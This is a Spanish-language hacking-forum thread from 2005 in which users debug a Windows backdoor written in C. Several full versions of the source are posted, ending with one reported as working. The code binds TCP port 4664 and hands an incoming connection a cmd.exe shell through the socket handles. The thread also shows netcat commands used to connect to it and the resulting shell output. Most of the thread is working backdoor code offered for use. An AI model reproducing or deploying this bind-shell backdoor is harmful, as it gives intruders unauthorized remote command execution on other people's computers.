elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Win Backdoor Bind port
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: Win Backdoor Bind port  (Leído 16,191 veces)
sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Win Backdoor Bind port
« en: 15 Agosto 2005, 15:31 pm »

Hola, estoy tratando de hacer una backdoor para win que lanze la cmd, pero no sé porqué no funciona. Aquí os dejo el código a ver si podéis ayudarme.

Código:

#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
//start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}

Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar:

Citar
--------------------Configuration: mping - Win32 Debug--------------------
Compiling...
mping.c
C:\lymp\mping.c(75) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *'
C:\lymp\mping.c(75) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6

mping.obj - 0 error(s), 2 warning(s)


En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
P[i]


Desconectado Desconectado

Mensajes: 472


Ver Perfil
Re: Win Backdoor Bind port
« Respuesta #1 en: 15 Agosto 2005, 16:02 pm »

 Man solo tienes que cambiar un valor de NULL a 0, keda asi el createprocces, y creo que tendria que ser cmd.exe pero no estoi seguro.


Código:
CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)

   Saludos.

P.D. -> Lo he probado a travas de telnet en win98 llamandole y el backdoor responde bien.
P.D.2 -> Tienes que poner cmd.exe, porke he probado command a secas y da error(ekivalente en win32 a cmd), pero con command.com va bien ( ekivalente en win32 a cmd.exe)


« Última modificación: 15 Agosto 2005, 16:09 pm por P[i] » En línea

sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Win Backdoor Bind port
« Respuesta #2 en: 15 Agosto 2005, 16:07 pm »

Gracias, con eso se soluciona lo de los warnings al compilar, pero no me da la shell. Estas son las respuestas:

Ejecutando la "Backdoor"
Citar
  • Creando el Socket...OK
  • Esperando cliente...
Ejecutando el NetCat
Citar
D:\>nc -vv localhost 4664
DNS fwd/rev mismatch: apolo != localhost
apolo [127.0.0.1] 4664 (?) open
sent 0, rcvd 0: NOTSOCK

D:\>

Así queda la shell
Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...ERROR
  • Cerrando socket...OK
Press any key to continue

Porqué no funciona?
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
P[i]


Desconectado Desconectado

Mensajes: 472


Ver Perfil
Re: Win Backdoor Bind port
« Respuesta #3 en: 15 Agosto 2005, 16:20 pm »


 Man tienes que kitar -vv keda asi:

Backdoor:
Código:
[+] Creando el Socket...OK
[+] Esperando cliente...

NetCat:
Código:
nc 192.168.1.2 4664
o si no usas router:
Código:
nc 127.0.0.1 4664

Backdoor:
Código:
[+] Creando el Socket...OK
[+] Esperando cliente...OK
[+] Conexion establecida
[+] Lanzando shell...

Microsoft(R) Windows 98
   (C)Copyright Microsoft Corp 1981-1999.

C:\WINDOWS\Escritorio>


Bueno a mi me ba asi, no se ati.
 saludos.
En línea

sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Win Backdoor Bind port
« Respuesta #4 en: 15 Agosto 2005, 16:28 pm »

El mismo error:

Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...ERROR
  • Cerrando socket...OK
No creo que las opciones -vv importen, ya que solo es para que te de más información de la conexion.
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
P[i]


Desconectado Desconectado

Mensajes: 472


Ver Perfil
Re: Win Backdoor Bind port
« Respuesta #5 en: 15 Agosto 2005, 16:41 pm »


 Has cambiado cmd por cmd.exe pruba bueno me voy a casa de un amigo luego miro mas chao.
 Saludos.
En línea

sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Win Backdoor Bind port
« Respuesta #6 en: 15 Agosto 2005, 16:46 pm »

si ya lo probé. aunque si no se le especifica una extensión, asume que es ".exe". Le quité un comentario en una asignación a la estructura que usa createprocess, aki pongo el source. (A mí no me funciona aún)

Código:
#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}

En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
orphen_nb

Desconectado Desconectado

Mensajes: 130


Ver Perfil
Re: Win Backdoor Bind port
« Respuesta #7 en: 15 Agosto 2005, 18:15 pm »

Lo he cambiado un poco fijandome en otra shellcode bind shell hasta que ha funcionado y ha quedado así:

Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/
memset(&start_proc,0,sizeof(start_proc));
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,0), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=INADDR_ANY;
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return 0;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 0;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 0;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,true,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}
return 0;
}
He puesto WSASocket() en vez de socket... la verdad, no tengo ni idea de por qué no funciona con socket, pero no funciona...
Y el último WSACleanup() que pusiste no deberías haberlo puesto porque si limpias los sockets, el socket por donde se establecía la "conversación" con la shell, desaparece, y con él desaparece también la shell.
También he añadido memset(&start_proc,0,sizeof(start_proc)); porque sin esta línea tampoco funciona, supongo que habrá algunas variables de start_proc inicializadas por defecto con algún valor que inhabilita la shell, y con esto lo inicializamos todo a 0, aunque tampoco se muy bien a que se debe que no funcione sin esto...
Creo que no he modificado nada más...
Saludos
En línea

Human knowledge belongs to the world
sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Win Backdoor Bind port
« Respuesta #8 en: 15 Agosto 2005, 18:33 pm »

He probado el codigo y no me funciona. Esta vez, me dice que la shell se lanzó, pero se me cierra el programa, y se desconecta el socket. He quitado el ultimo WSAClenaup(), que bobo  ::)

Con he retocado el código (no el que tu posteastes, sino el original) para hacerle algunos cambios, como quitar el WSACleanup y limpiar con memset(), y obtengo este restultado:

Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...OKPress any key to continue
Como ya he dicho, no veo la shell por ninguna parte, y cuando muestra esto, el programa se cierra...  :-\

Con el código que pusistes, obtengo el MISMO resultado. Te pongo aquí el codigo retocado aver si te funciona:

Código:
#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

/*
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
*/

ExitProcess(0);
}
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
orphen_nb

Desconectado Desconectado

Mensajes: 130


Ver Perfil
Re: Win Backdoor Bind port
« Respuesta #9 en: 15 Agosto 2005, 19:29 pm »

Pues modificando este ultimo código que has posteado me funciona...
Te pongo el código:
Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

/*
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
*/

ExitProcess(0);
}
Pero tambien tienes que linkar la libreria ws2_32 (a lo mejor por eso no te funciona el anterior código que postee...
Simplemente he cambiado socket() por WSASocket() y he puesto #include <winsock2.h> y he linkado esa librería, y me funciona perfectamente... pruebalo tu...
En línea

Human knowledge belongs to the world
Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Bind and Reverse Backdoor Shell con Netcat
Redes
Socket_0x01 0 4,235 Último mensaje 25 Febrero 2011, 05:07 am
por Socket_0x01
port y host
Foro Libre
Panic0 1 1,757 Último mensaje 18 Agosto 2020, 23:01 pm
por EdePC
Resoluciones con Servidor DNS Bind
Redes
ernestoffdez 1 2,248 Último mensaje 19 Febrero 2021, 23:08 pm
por el-brujo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines